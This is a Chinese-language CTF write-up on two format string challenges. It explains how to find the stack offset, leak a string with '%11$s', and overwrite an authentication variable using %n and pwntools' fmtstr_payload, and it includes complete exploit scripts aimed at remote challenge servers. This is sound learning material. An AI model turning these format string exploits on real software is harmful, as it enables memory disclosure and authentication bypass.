fmtstr1:
要先确定char *s相对于参数指针的偏移:
先从头打印,
fgets将输入的字符串写入format中,可以输入AAAA,然后看他在哪里出现,由此判断format相对于参数指针的偏移:(这里我是一个一个位置试的,因为只能读取19个字节,一次只能打印三个位置,但这个方法有点笨拙……)
可以看出,format的偏移量是14!
P.S. 这里使用到了%$14p,是指打印偏移为14的地方的内容。如果使用%6$s,就可以打印偏移为6处的指针指向的字符串。
又因为format和char *s距离为12,所以相差的偏移为3,因此s的偏移为11
成功!:
成功!!!:
exp1:
from pwn import *
r = remote('8.134.59.72',38877)
payload = b'AAAA%11$s'
r.sendline(payload)
r.interactive()
fmtstr2:
main -> read_flag -> flag(flag里直接就能打印flag):
所以只要把authentication这个变量的值设置成这个就行:0x47424845
authentication的地址:0x0804C048
(正好刚刚看到了一篇类似这种改写内存的博客:(13条消息) pwn 格式化字符串漏洞及例题_%格式化字符串的习题_L1men2的博客-CSDN博客)
很像,使用%n,将输出的字符数量输入到目标偏移位置的内容指向的位置。就是先输入地址(哎这里还要先确定输入字符串所在的偏移位置),再输入占位字符,再输入%n
偏移量为11!(这个就比较方便因为可以读取的字符比较长,不像前面那题真讨厌)
P.S. 写入地址的时候要注意,要先从最小的(比如这里是0x42)开始写,因为输出字符个数越来越大,所以只能越写越大,而且要注意是小端存储,输入顺序是反的
……然后发现没用,怎么写都是错的……:
错的exp:
问了下同学,他说格式化字符串的payload不要自己写,有现成的函数,就是:
fmtstr_payload(offset, {addr:value})。用这个写出来再打印看看payload是啥:
这儿:
说实话看不太懂这个payload…… (但%hhn是写一个字节)
但是成功了! 就不纠结了,就用这个函数就行了
最后的exp2:
from pwn import *
r = remote('8.134.59.72',38630)
addr_au = 0x0804C048
value = 0x47424845
off = 11
payload = fmtstr_payload(off,{addr_au:value})
print(payload)
r.sendline(payload)
r.interactive()